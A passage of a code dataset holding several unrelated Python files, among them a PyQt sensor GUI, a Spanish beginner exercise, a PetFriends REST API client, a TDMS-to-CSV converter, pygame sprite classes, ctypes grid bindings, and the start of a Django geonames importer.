self.sensor_fusion.stop()\n self.ui.actionRun.setChecked(False)\n\n def uart_connect(self):\n if self.ui.actionConnect.isChecked():\n port = self.uart_config()\n if port != '':\n self.sensor_fusion.config(port=port)\n self.sensor_fusion.connect()\n else:\n self.ui.actionConnect.setChecked(False)\n else:\n self.uart_disconnect()\n\n def uart_disconnect(self):\n if self.sensor_fusion.is_connected():\n self.plot_stop()\n self.sensor_fusion.disconnect()\n self.ui.actionConnect.setChecked(False)\n\n def uart_error(self):\n msg = QMessageBox()\n msg.setWindowTitle('Error')\n msg.setText('Serial connection unavailable')\n msg.setIcon(QMessageBox.Critical)\n msg.setStandardButtons(QMessageBox.Ok)\n msg.exec_()\n self.uart_disconnect()\n\n def uart_config(self):\n port = ''\n dialog = QtWidgets.QDialog()\n try:\n ui = uart_config_dialog.Ui_Dialog(dialog)\n if dialog.exec_():\n port = ui.selected_port\n\n except (SerialException, SerialTimeoutException):\n self.uart_error()\n\n return port\n\n def help_msg(self):\n msg = QMessageBox()\n msg.setWindowTitle('Info')\n msg.setText('1. Connect to a serial port (Settings -> Connect)')\n msg.setInformativeText(\"2. Run (Plot -> Run)\")\n msg.setDetailedText(\n \"The serial ports listed are detected automatically from all available ports. \" +\n \"If you don't see the port you need listed, make sure no other apps are using it.\"\n )\n msg.setIcon(QMessageBox.Information)\n msg.setStandardButtons(QMessageBox.Ok)\n msg.exec_()\n\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n w = MainWindow()\n sys.exit(app.exec_())\n","sub_path":"tp2-sensor-fusion/Entrega/python/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"189918663","text":"\"\"\"\nDeberas hacer un programa en Python que te pida primero el numero de\npacientes. Luego a cada paciente le pediras su altura, su peso y su medida de glucosa.\nFinalmente, el programa mostrara la altura promedio, el peso maximo, el peso minimo,\ny tambien cuantos pacientes son diabeticos (aquellos cuya glucosa sobrepase los 140).\n\"\"\"\n\nn = int(input(\"Ingresa el numero de pacientes: \"))\n\naltura = 0\nalturaProm = 0\n\npeso = 0\npesoMax = 0\npesoMin = 0\n\nglucosa = 0\ndiabeticos = 0\n\nfor paciente in range(1, n+1):\n print()\n print(f\"Paciente {paciente}\")\n\n altura = float((input(\"Ingrese altura: \")))\n peso = float(input(\"Ingrese su peso: \"))\n glucosa = int(input(\"Ingrese su glucosa: \"))\n\n alturaProm += altura\n\n if peso>pesoMax: pesoMax=peso\n\n if paciente==1: pesoMin=peso\n elif peso<pesoMin: pesoMin=peso\n\n if glucosa>140: diabeticos += 1\n\nalturaProm /= n\n\nprint()\nprint(f\"La altura promedio es: {alturaProm}\")\nprint(f\"El peso maximo es: {pesoMax}\")\nprint(f\"El peso minimo es: {pesoMin}\")\nprint(f\"El numero de diabeticos es: {diabeticos}\")\n","sub_path":"2021-1/s2/ej9.py","file_name":"ej9.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"245545644","text":"# Content Manager\nfrom contextlib import contextmanager\n\n@contextmanager\ndef simple_cm(obj):\n try:\n obj.is_busy = True\n yield\n finally:\n obj.is_busy = False\n\nclass My_obj(object):\n def __init__(self,arg=''):\n self.is_busy = arg\n\nobj = My_obj() # Instantiate My_obj class to get a new object\nprint(obj.is_busy) # At this point obj.is_busy is ''\n# Now let use the Context Manager\n\nprint(type(simple_cm(obj))) # This should print a context Manager object \nprint(dir(simple_cm(obj))) # It implements __enter__ and __exit__ methods()\n\nwith simple_cm(obj): # Here we get a context manager object below context will exeucte after the yield return control\n print(obj.is_busy) # At this point the obj.is_busy = True.Control was returned to caller by yield\nprint(obj.is_busy) # Now the obj.is_busy shold be False, menaing the finally was executed\n\n\n\n","sub_path":"Ex_7_content_manager.py","file_name":"Ex_7_content_manager.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"27781100","text":"import requests\nimport json\nfrom requests_toolbelt.multipart.encoder import MultipartEncoder\n\n\nclass PetFriends:\n def __init__(self):\n self.base_url = 'https://petfriends1.herokuapp.com/'\n\n def get_api_key(self, email: str, password: str) -> tuple:\n \"\"\"Метод делает запрос к API сервера и возвращает статус запроса и результат в формате JSON\n с уникальным ключом пользователя, найденного по указанным email и паролю\"\"\"\n\n headers = {\n 'email': email,\n 'password': password\n }\n res = requests.get(self.base_url + 'api/key', headers=headers)\n status = res.status_code\n result = ''\n try:\n result = res.json()\n except json.decoder.JSONDecodeError:\n result = res.text\n return status, result\n\n def get_list_of_pets(self, auth_key: dict, filter: str = '') -> tuple:\n \"\"\"Метод делает запрос к API сервера и возвращает статус запроса и результат в формате JSON\n со списком всех найденных питомцев, совпадающих с фильтром. На данный момент поддерживаются\n следующие значения фильтра: пустое значение - первые 100 питомцев на сайте,\n 'my_pets' - только питомцы данного пользователя\"\"\"\n\n headers = {'auth_key': auth_key['key']}\n filter = {'filter': filter}\n res = requests.get(self.base_url + 'api/pets', headers=headers, params=filter)\n status = res.status_code\n result = ''\n try:\n result = res.json()\n except json.decoder.JSONDecodeError:\n result = res.text\n return status, result\n\n def add_new_pet_with_photo(self, auth_key: dict, name: str, animal_type: str, age: str, pet_photo: str) -> tuple:\n \"\"\"Метод принимает данные для нового питомца (имя, тип, возраст и фото), делает запрос на создание\n нового питомца и возвращает статус запроса и результат с данными созданного питомца в формате JSON\"\"\"\n data = MultipartEncoder(\n fields={\n 'name': name,\n 'animal_type': animal_type,\n 'age': age,\n 'pet_photo': (pet_photo, open(pet_photo, 'rb'), 'image/jpeg')\n })\n headers = {'auth_key': auth_key['key'], 'Content-Type': data.content_type}\n res = requests.post(self.base_url+'api/pets', headers=headers, data=data)\n status = res.status_code\n result = ''\n try:\n result = res.json()\n except json.decoder.JSONDecodeError:\n result = res.text\n return status, result\n\n def update_info_of_pet(self, auth_key: dict, pet_id: str, name: str, animal_type: str, age: str) -> tuple:\n \"\"\"Метод принимает id питомца и новые данные (имя, тип, возраст) и возвращает статус ответа и\n информацию с новыми данными питомца в формате JSON\"\"\"\n headers = {'auth_key': auth_key['key']}\n data = {\n 'name': name,\n 'animal_type': animal_type,\n 'age': age\n }\n res = requests.put(self.base_url + 'api/pets/' + pet_id, headers=headers, data=data)\n status = res.status_code\n result = ''\n try:\n result = res.json()\n except json.decoder.JSONDecodeError:\n result = res.text\n return status, result\n\n def delete_pet(self, auth_key: dict, pet_id: str) -> int:\n \"\"\"Метод принимает id питомца, которого нужно удалить и возвращает статус ответа\"\"\"\n headers = {'auth_key': auth_key['key']}\n res = requests.delete(self.base_url + 'api/pets/' + pet_id, headers=headers)\n status = res.status_code\n return status\n\n def create_pet_simple(self, auth_key: dict, name: str, animal_type: str, age: str):\n \"\"\"Метод принимает имя, тип питомца и возраст, делает запрос к API сервера для\n создания питомца без фотографии и\n возвращает статус ответа и данные о созданном питомце в формате JSON\"\"\"\n data = {\n 'name': name,\n 'animal_type': animal_type,\n 'age': age,\n }\n headers = {'auth_key': auth_key['key']}\n res = requests.post(self.base_url + 'api/create_pet_simple', headers=headers, data=data)\n status = res.status_code\n result = ''\n try:\n result = res.json()\n except json.decoder.JSONDecodeError:\n result = res.text\n return status, result\n\n def set_photo_of_pet(self, auth_key: dict, pet_id: str, pet_photo: str):\n \"\"\"Метод приминает id питомца и путь к фото к питомца. Возвращает статус ответа\n и информацию о питомце в формате JSON\"\"\"\n data = MultipartEncoder(\n fields={\n 'pet_photo': (pet_photo, open(pet_photo, 'rb'), 'image/jpeg')\n })\n headers = {'auth_key': auth_key['key'], 'Content-Type': data.content_type}\n res = requests.post(self.base_url + 'api/pets/set_photo/' + pet_id, headers=headers, data=data)\n status = res.status_code\n result = ''\n try:\n result = res.json()\n except json.decoder.JSONDecodeError:\n result = res.text\n return status, result\n","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"102249743","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 18 17:26:42 2017\r\n\r\n@author: AICPS\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 18 17:10:23 2017\r\n\r\n@author: AICPS\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 18 16:17:54 2017\r\n\r\n@author: Sujit R. Chhetri\r\n\"\"\"\r\n\r\nfrom nptdms import TdmsFile\r\nimport numpy as np\r\nimport os\r\n\r\noriginTDMSFolder = 'D:/GDrive/DT_Data/DAQ_Auto';\r\ndestinationCSVFolder = 'D:/GDrive/DT_Data/DAQ_Auto_TDMStoCSV';\r\n\r\nchannelNames=['Mic_1',\r\n 'Mic_2',\r\n 'Mic_3',\r\n 'Mic_4',\r\n 'Current',\r\n 'Vib_x2',\r\n 'Vib_y2',\r\n 'Vib_z2',\r\n 'Vib_x1',\r\n 'Vib_y1',\r\n 'Vib_z1',\r\n 'Vib_x0',\r\n 'Vib_y0',\r\n 'Vib_z0',\r\n 'Temperature',\r\n 'Humidity',\r\n 'Mag_x0',\r\n 'Mag_y0',\r\n 'Mag_z0',\r\n 'Mag_x1',\r\n 'Mag_y1',\r\n 'Mag_z1',\r\n 'Mag_x2',\r\n 'Mag_y2',\r\n 'Mag_z2' ];\r\n\r\ndef tdms2csvTimingMetaData(tdmsFolderName):\r\n tdmsFiles=[]\r\n tdmsFolderNameFull=originTDMSFolder+'/'+tdmsFolderName;\r\n \r\n if not os.path.exists(tdmsFolderNameFull):\r\n return\r\n \r\n for file in os.listdir(tdmsFolderNameFull):\r\n if file.endswith(\".tdms\"):\r\n tdmsFiles+= [file]\r\n #%% Check if the destination foldername exists\r\n destinationFolderName=destinationCSVFolder+'/'+tdmsFolderName;\r\n \r\n if not os.path.exists(destinationFolderName):\r\n os.makedirs(destinationFolderName) \r\n \r\n #%%\r\n directoryIndex=1;\r\n for file in tdmsFiles: \r\n print(file) \r\n tdms_file = TdmsFile(tdmsFolderNameFull+'/'+file)\r\n \r\n directory=destinationCSVFolder+'/'+tdmsFolderName+'/data_'+str(directoryIndex);\r\n directoryIndex+=1;\r\n \r\n if not os.path.exists(directory):\r\n os.makedirs(directory) \r\n \r\n for channelName in channelNames:\r\n channel = tdms_file.object('data',channelName)\r\n startTime=channel.property('wf_start_time')\r\n samplingIncrement=channel.property('wf_increment')\r\n np.savetxt(directory+'/timingMetaData.csv', [startTime.hour,startTime.minute,startTime.second,startTime.microsecond, samplingIncrement], delimiter=',')\r\n \r\n","sub_path":"tdms2csvTimingMetaData.py","file_name":"tdms2csvTimingMetaData.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"383572823","text":"import pygame\nclass Player(pygame.sprite.Sprite):\n\tdef __init__(self,name,color,width,height):\n\t\tsuper().__init__()\n\t\tself.image=pygame.Surface([width,height])\n\t\tself.image.fill(color)\n\t\tself.image.set_colorkey(color)\n\t\tself.color=color\n\t\tself.name=name\n\t\tself.rect=self.image.get_rect()\n\t\tself.vx=0\n\t\tself.vy=0\n\t\tself.blood=1000\n\t\tself.time=0\n\t\tself.coins=0\n\t\tself.seed=0\n\t\tself.time_energy=0\n\tdef show(self):\n\t\tglobal screen,camera\n\t\tpygame.draw.rect(screen,self.color,(self.rect.x-camera[0],self.rect.y-camera[1],self.rect.width,self.rect.height))\n\tdef update(self):\n\t\tself.rect.x+=self.vx\n\t\tself.rect.y+=self.vy\nclass Other(pygame.sprite.Sprite):\n\tdef __init__(self,name,color,x,y,coinsize,imgs):\n\t\tsuper().__init__()\n\t\tself.image=pygame.Surface([coinsize,coinsize])\n\t\tself.image.fill(color)\n\t\tself.image.set_colorkey(color)\n\t\tself.color=color\n\t\tself.rect=self.image.get_rect()\n\t\tself.rect.x=x\n\t\tself.rect.y=y\n\t\tself.count=0\n\t\tself.name=name\n\t\tself.starttime=0\n\t\tself.endtime=0\n\t\tself.imgs=imgs\n\tdef update(self):\n\t\tif \"diamond\" in self.name:\n\t\t\tself.count=(self.count+1)%120\n\t\telse:\n\t\t\tself.count=(self.count+2)%60\n\tdef show(self,screen,camera,now):\n\t\tif self.starttime<now and self.endtime>now:\n\t\t\tif \"diamond\" in self.name:\n\t\t\t\tscreen.blit(self.imgs[int(self.count*len(self.imgs)/120)],(self.rect.x-camera[0],self.rect.y-camera[1],50,50))\n\t\t\telse:\n\t\t\t\tscreen.blit(self.imgs[int(self.count*len(self.imgs)/60)],(self.rect.x-camera[0],self.rect.y-camera[1],50,50))\nclass Wall(pygame.sprite.Sprite):\n\tdef __init__(self,color,blocks,bricksize):\n\t\tsuper().__init__()\n\t\tself.image=pygame.Surface([bricksize*blocks[2],bricksize*blocks[3]])\n\t\tself.image.fill(color)\n\t\tself.image.set_colorkey(color)\n\t\tself.color=color\n\t\tself.rect=self.image.get_rect()\n\t\tself.rect.x=blocks[0]*bricksize\n\t\tself.rect.y=blocks[1]*bricksize\n\t\tself.blocks=blocks\n\tdef show(self,brickimgs,screen,camera,earth,bricksize):\n\t\tif self.blocks[3]==1:\n\t\t\tif self.blocks[2]==1:\n\t\t\t\tscreen.blit(brickimgs[14],(self.rect.x-camera[0],self.rect.y-camera[1],bricksize,bricksize))\n\t\t\telse:\n\t\t\t\tfor i in range(self.blocks[2]):\n\t\t\t\t\tif i==0:\n\t\t\t\t\t\timg=brickimgs[13]\n\t\t\t\t\t\tfor b in earth:\n\t\t\t\t\t\t\tif self.blocks[0]==b[0]+b[2]:\n\t\t\t\t\t\t\t\timg=brickimgs[14]\n\t\t\t\t\telif i==self.blocks[2]-1:\n\t\t\t\t\t\timg=brickimgs[15]\n\t\t\t\t\t\tfor b in earth:\n\t\t\t\t\t\t\tif self.blocks[0]+self.blocks[2]==b[0]:\n\t\t\t\t\t\t\t\timg=brickimgs[14]\n\t\t\t\t\telse:\n\t\t\t\t\t\timg=brickimgs[14]\n\t\t\t\t\tscreen.blit(img,(self.rect.x+i*bricksize-camera[0],self.rect.y-camera[1],bricksize,bricksize))\n\t\telse:\n\t\t\tfor i in range(self.blocks[3]):\n\t\t\t\tfor j in range(self.blocks[2]):\n\t\t\t\t\timg=brickimgs[4]\n\t\t\t\t\tif i==0:\n\t\t\t\t\t\timg=brickimgs[1]\n\t\t\t\t\t\tif j==0:\n\t\t\t\t\t\t\timg=brickimgs[0]\n\t\t\t\t\t\t\tfor b in earth:\n\t\t\t\t\t\t\t\tif self.blocks[0]==b[0]+b[2]:\n\t\t\t\t\t\t\t\t\tif self.blocks[1]==b[1]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[1]\n\t\t\t\t\t\t\t\t\telif self.blocks[1]<b[1]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[0]\n\t\t\t\t\t\t\t\t\telif self.blocks[1]>b[1] and self.blocks[1]<b[1]+b[3]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[12]\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telif j==self.blocks[2]-1:\n\t\t\t\t\t\t\timg=brickimgs[2]\n\t\t\t\t\t\t\tfor b in earth:\n\t\t\t\t\t\t\t\tif self.blocks[0]+self.blocks[2]==b[0]:\n\t\t\t\t\t\t\t\t\tif self.blocks[1]==b[1]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[1]\n\t\t\t\t\t\t\t\t\telif self.blocks[1]<b[1]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[2]\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[9]\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\telif i==self.blocks[3]-1:\n\t\t\t\t\t\tif j==0:\n\t\t\t\t\t\t\timg=brickimgs[6]\n\t\t\t\t\t\t\tfor b in earth:\n\t\t\t\t\t\t\t\tif self.blocks[0]==b[0]+b[2]:\n\t\t\t\t\t\t\t\t\tif self.blocks[1]+self.blocks[3]==b[1]+b[3]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[7]\n\t\t\t\t\t\t\t\t\telif self.blocks[1]+self.blocks[3]>b[1]+b[3]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[6]\n\t\t\t\t\t\t\t\t\telif self.blocks[1]+self.blocks[3]<b[1]+b[3] and self.blocks[1]+self.blocks[3]>b[1]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[7]\n\t\t\t\t\t\telif j==self.blocks[2]-1:\n\t\t\t\t\t\t\timg=brickimgs[8]\n\t\t\t\t\t\t\tfor b in earth:\n\t\t\t\t\t\t\t\tif self.blocks[0]+self.blocks[2]==b[0]:\n\t\t\t\t\t\t\t\t\tif self.blocks[1]+self.blocks[3]==b[1]+b[3]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[7]\n\t\t\t\t\t\t\t\t\telif self.blocks[1]+self.blocks[3]>b[1]+b[3]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[8]\n\t\t\t\t\t\t\t\t\telif self.blocks[1]+self.blocks[3]<b[1]+b[3] and self.blocks[1]+self.blocks[3]>b[1]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[7]\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\timg=brickimgs[7]\n\t\t\t\t\telse:\n\t\t\t\t\t\tif j==0:\n\t\t\t\t\t\t\timg=brickimgs[3]\n\t\t\t\t\t\t\tfor b in earth:\n\t\t\t\t\t\t\t\tif self.blocks[0]==b[0]+b[2]:\n\t\t\t\t\t\t\t\t\tif self.blocks[1]+i==b[1]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[10]\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\telif self.blocks[1]+i>b[1] and self.blocks[1]+i<b[1]+b[3]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[4]\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telif j==self.blocks[2]-1:\n\t\t\t\t\t\t\timg=brickimgs[5]\n\t\t\t\t\t\t\tfor b in earth:\n\t\t\t\t\t\t\t\tif self.blocks[0]+self.blocks[2]==b[0]:\n\t\t\t\t\t\t\t\t\tif self.blocks[1]+i==b[1]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[11]\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\telif self.blocks[1]+i>b[1] and self.blocks[1]+i<b[1]+b[3]:\n\t\t\t\t\t\t\t\t\t\timg=brickimgs[4]\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\tscreen.blit(img,(self.rect.x+j*bricksize-camera[0],self.rect.y+i*bricksize-camera[1],bricksize,bricksize))\n\t\t# pygame.draw.rect(screen,self.color,[self.rect.x-camera[0],self.rect.y-camera[1],self.rect.width,self.rect.height])\n","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"79694562","text":"from ctypes import (c_void_p, c_int, byref, POINTER, c_char_p,\n c_size_t, c_longlong, c_double)\nfrom . import LIB\nimport numpy\n\n\ndef error_handler(filename, methodname, ier):\n raise RuntimeError(\n f'ERROR ier={ier} after calling {methodname} in {filename}!'\n )\n\n\nFILE = 'grid.py'\nDOUBLE_ARRAY_PTR = numpy.ctypeslib.ndpointer(dtype=numpy.float64)\n\n\nclass Grid(object):\n \"\"\"\n A class to represent a collection of quad cells\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Regrid edge field constructor.\n \"\"\"\n\n self.ptr = c_void_p()\n self.obj = byref(self.ptr)\n # container holding attached data\n self.data = {}\n\n LIB.mnt_grid_new.argtypes = [POINTER(c_void_p)]\n ier = LIB.mnt_grid_new(self.obj)\n if ier:\n error_handler(FILE, '__init__', ier)\n\n def __del__(self):\n \"\"\"\n Regrid edge field destructor.\n \"\"\"\n LIB.mnt_grid_del.argtypes = [POINTER(c_void_p)]\n ier = LIB.mnt_grid_del(self.obj)\n if ier:\n error_handler(FILE, '__del__', ier)\n\n def setFlags(self, fixLonAcrossDateline, averageLonAtPole):\n \"\"\"\n Set the grid flags.\n\n :param fixLonAcrossDateline: set to 1 if a periodicity length should be\n added/subtracted to make each cell as\n compact as possible\n :param averageLonAtPole: set to 1 if the longitudes at the poles should\n be the average of the cell's longitudes\n\n note:: a lon-lat grid requires 0, 0 and cubed sphere grid requires 1, 1\n \"\"\"\n LIB.mnt_grid_setFlags.argtypes = [POINTER(c_void_p), c_int, c_int]\n ier = LIB.mnt_grid_setFlags(self.obj,\n fixLonAcrossDateline,\n averageLonAtPole)\n if ier:\n error_handler(FILE, 'setFlags', ier)\n\n def loadFrom2DUgrid(self, fileAndMeshName):\n \"\"\"\n Load a grid from a 2D UGRID file.\n\n :param fileAndMeshName: string in the format filename:meshname\n \"\"\"\n LIB.mnt_grid_loadFrom2DUgrid.argtypes = [POINTER(c_void_p), c_char_p]\n fm = fileAndMeshName.encode('utf-8')\n ier = LIB.mnt_grid_loadFrom2DUgrid(self.obj, fm)\n if ier:\n error_handler(FILE, 'loadFrom2DUgrid', ier)\n\n def load(self, filename):\n \"\"\"\n Load the grid from a VTK file.\n\n :param filename: file name\n \"\"\"\n LIB.mnt_grid_load.argtypes = [POINTER(c_void_p), c_char_p]\n fm = filename.encode('utf-8')\n ier = LIB.mnt_grid_load(self.obj, fm)\n if ier:\n error_handler(FILE, 'load', ier)\n\n def dump(self, filename):\n \"\"\"\n Dump the grid to a VTK file.\n\n :param filename: file name\n \"\"\"\n LIB.mnt_grid_dump.argtypes = [POINTER(c_void_p), c_char_p]\n fm = filename.encode('utf-8')\n ier = LIB.mnt_grid_dump(self.obj, fm)\n if ier:\n error_handler(FILE, 'dump', ier)\n\n def setPoints(self, points):\n \"\"\"\n Set the points coordinates and build the connectivity\n\n :param points: numpy contiguous array of shape (ncells,\n num_verts_per_cell, 3)\n \"\"\"\n ncells, num_verts_per_cell, ndim = points.shape\n if ndim != 3:\n raise RuntimeError(f'ERROR: points.shape[2] != 3, got {ndim}!')\n LIB.mnt_grid_setPointsPtr.argtypes = [POINTER(c_void_p), DOUBLE_ARRAY_PTR]\n LIB.mnt_grid_build.argtypes = [POINTER(c_void_p), c_int, c_longlong]\n ier = LIB.mnt_grid_setPointsPtr(self.obj, points)\n if ier:\n error_handler(FILE, 'setPointsPtr', ier)\n ier = LIB.mnt_grid_build(self.obj, num_verts_per_cell, ncells)\n if ier:\n error_handler(FILE, 'setPointsPtr', ier)\n\n def getEdgeId(self, cellId, edgeIndex):\n \"\"\"\n Get the edge Id and direction of a cellId, edgeIndex pair\n\n :param cellId: Id of the cell\n :param edgeIndex: edge index of the cell (0...3)\n :returns an edge index, sign pair\n \"\"\"\n LIB.mnt_grid_getEdgeId.argtypes = [POINTER(c_void_p),\n c_longlong, c_int,\n POINTER(c_size_t),\n POINTER(c_int)]\n edgeId = c_size_t()\n edgeSign = c_int()\n ier = LIB.mnt_grid_getEdgeId(self.obj, cellId, edgeIndex,\n byref(edgeId), byref(edgeSign))\n if ier:\n error_handler(FILE, 'getEdgeId', ier)\n return (edgeId.value, edgeSign.value)\n\n def getNodeIds(self, cellId, edgeIndex):\n \"\"\"\n Get the node Ids of a cellId, edgeIndex pair\n\n :param cellId: Id of the cell\n :param edgeIndex: edge index of the cell (0...3)\n :returns two node indices\n \"\"\"\n LIB.mnt_grid_getNodeIds.argtypes = [POINTER(c_void_p),\n c_longlong, c_int,\n POINTER(c_size_t)]\n nodeIds = (c_size_t*2)()\n ier = LIB.mnt_grid_getNodeIds(self.obj, cellId, edgeIndex, nodeIds)\n if ier:\n error_handler(FILE, 'getNodeIds', ier)\n return (nodeIds[0], nodeIds[1])\n\n def computeEdgeArcLengths(self):\n \"\"\"\n Compute and store edge arc lengths\n :note assumes the sphere radius to be one\n \"\"\"\n LIB.mnt_grid_computeEdgeArcLengths.argtypes = [POINTER(c_void_p)]\n ier = LIB.mnt_grid_computeEdgeArcLengths(self.obj)\n if ier:\n error_handler(FILE, 'computeEdgeArcLengths', ier)\n\n\n def getEdgeArcLength(self, cellId, edgeIndex):\n \"\"\"\n Get the arch length for given cell and edge\n :param cellId: cell Id\n :param edgeIndex: edge index (0...3)\n :returns length assuming radius of one\n \"\"\"\n res = c_double()\n LIB.mnt_grid_getEdgeArcLength.argtypes = [POINTER(c_void_p), c_longlong, c_int,\n POINTER(c_double)]\n ier = LIB.mnt_grid_getEdgeArcLength(self.obj, cellId, edgeIndex, byref(res))\n if ier:\n error_handler(FILE, 'getEdgeArcLength', ier)\n return res.value\n\n\n def attach(self, varname, data):\n \"\"\"\n Attach data to the grid.\n\n :param varname: field name\n :param data: numpy array of size (ncells, nDataPerCell)\n \"\"\"\n nDataPerCell = 1\n if len(data.shape) > 1:\n \tnDataPerCell = data.shape[-1]\n LIB.mnt_grid_attach.argtypes = [POINTER(c_void_p), c_char_p, c_int,\n DOUBLE_ARRAY_PTR]\n # make a copy to ensure that the data exist during the life of this instance\n self.data[varname] = data.copy()\n ier = LIB.mnt_grid_attach(self.obj, varname.encode('utf-8'),\n nDataPerCell, self.data[varname])\n if ier:\n error_handler(FILE, 'attach', ier)\n\n def getNumberOfCells(self):\n \"\"\"\n Get the number of cells\n\n :returns number\n \"\"\"\n LIB.mnt_grid_getNumberOfCells.argtypes = [POINTER(c_void_p),\n POINTER(c_size_t)]\n n = c_size_t()\n ier = LIB.mnt_grid_getNumberOfCells(self.obj, byref(n))\n if ier:\n error_handler(FILE, 'getNumberOfCells', ier)\n return n.value\n\n def getNumberOfEdges(self):\n \"\"\"\n Get the number of unique edges of the grid.\n\n :returns number\n \"\"\"\n LIB.mnt_grid_getNumberOfEdges.argtypes = [POINTER(c_void_p)]\n n = c_size_t()\n ier = LIB.mnt_grid_getNumberOfEdges(self.obj, byref(n))\n if ier:\n error_handler(FILE, 'getNumberOfEdges', ier)\n return n.value\n\n","sub_path":"mint/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":7931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"10621035","text":"# -*- coding: utf-8 -*-\n\nimport csv\nimport logging\n\nfrom zipfile import ZipFile\n\nfrom django.core.management.base import BaseCommand\nfrom django.conf import settings\nfrom django.db.models import Q\n\nfrom .downloader import Downloader\n\nfrom geonames.models import Country, GeonamesAdm1, GeonamesAdm2, GeonamesAdm3, GeonamesAdm4, GeonamesAdm5, PopulatedPlace\n\nlogger = logging.getLogger(__name__)\n\n# municipality_levels is a dictionary that tells for some country which adm level holds the municipalities\n# http://www.statoids.com/\nmunicipality_levels = settings.MUNICIPALITY_LEVELS\n\n# m is a dictionary mapping Italian municipalities names for ISTAT into names for geonames\nm = {}\nm[\"Campiglione Fenile\"] = \"Campiglione-Fenile\"\nm[\"Leini\"] = \"Leinì\"\nm[\"Mappano\"] = \"\"\nm[\"Castellinaldo d'Alba\"] = \"Castellinaldo\"\nm[\"Cerretto Langhe\"] = \"Cerreto Langhe\"\nm[\"Fubine Monferrato\"] = \"Fubine\"\nm[\"Châtillon\"] = \"Chatillon\"\nm[\"Hône\"] = \"Hone\"\nm[\"Jovençan\"] = \"Jovencan\"\nm[\"Rhêmes-Notre-Dame\"] = \"Rhemes-Notre-Dame\"\nm[\"Rhêmes-Saint-Georges\"] = \"Rhemes-Saint-Georges\"\nm[\"Gornate Olona\"] = \"Gornate-Olona\"\nm[\"Costa Serina\"] = \"Costa di Serina\"\nm[\"Lonato del Garda\"] = \"Lonato\"\nm[\"Rodengo Saiano\"] = \"Rodengo-Saiano\"\nm[\"Tremosine sul Garda\"] = \"Tremosine\"\nm[\"Godiasco Salice Terme\"] = \"Godiasco\"\nm[\"Rivanazzano Terme\"] = \"Rivanazzano\"\nm[\"Corvara in Badia\"] = \"Corvara in Badia - Corvara\"\nm[\"Gais\"] = \"Gais - Gais\"\nm[\"Lana\"] = \"Lana - Lana\"\nm[\"Lasa\"] = \"Lasa - Laas\"\nm[\"Ora\"] = \"Ora - Auer\"\nm[\"Ortisei\"] = \"Ortisei - St. Ulrich\"\nm[\"Parcines\"] = \"Partschins - Parcines\"\nm[\"Postal\"] = \"Postal - Burgstall\"\nm[\"Prato allo Stelvio\"] = \"Prato allo Stelvio - Prad am Stilfser Joch\"\nm[\"Racines\"] = \"Racines - Ratschings\"\nm[\"Rio di Pusteria\"] = \"Rio di Pusteria - Muehlbach\"\nm[\"Rodengo\"] = \"Rodengo - Rodeneck\"\nm[\"San Candido\"] = \"San Candido - Innichen\"\nm[\"San Genesio Atesino\"] = \"San Genesio Atesino - Jenesien\"\nm[\"San Leonardo in Passiria\"] = \"San Leonardo in Passiria - St. Leonhard in Passeier\"\nm[\"San Lorenzo di Sebato\"] = \"San Lorenzo di Sebato - St. Lorenzen\"\nm[\"San Martino in Badia\"] = \"San Martino in Badia - St. Martin in Thurn\"\nm[\"Selva dei Molini\"] = \"Selva dei Molini - Muehlwald\"\nm[\"Terento\"] = \"Terento - Terenten\"\nm[\"Trodena nel parco naturale\"] = \"Trodena\"\nm[\"Tubre\"] = \"Tubre - Taufers im Muenstertal\"\nm[\"Varna\"] = \"Varna - Vahrn\"\nm[\"Costermano sul Garda\"] = \"Costermano\"\nm[\"Soraga di Fassa\"] = \"Soraga\"\nm[\"Brenzone sul Garda\"] = \"Brenzone\"\nm[\"San Stino di 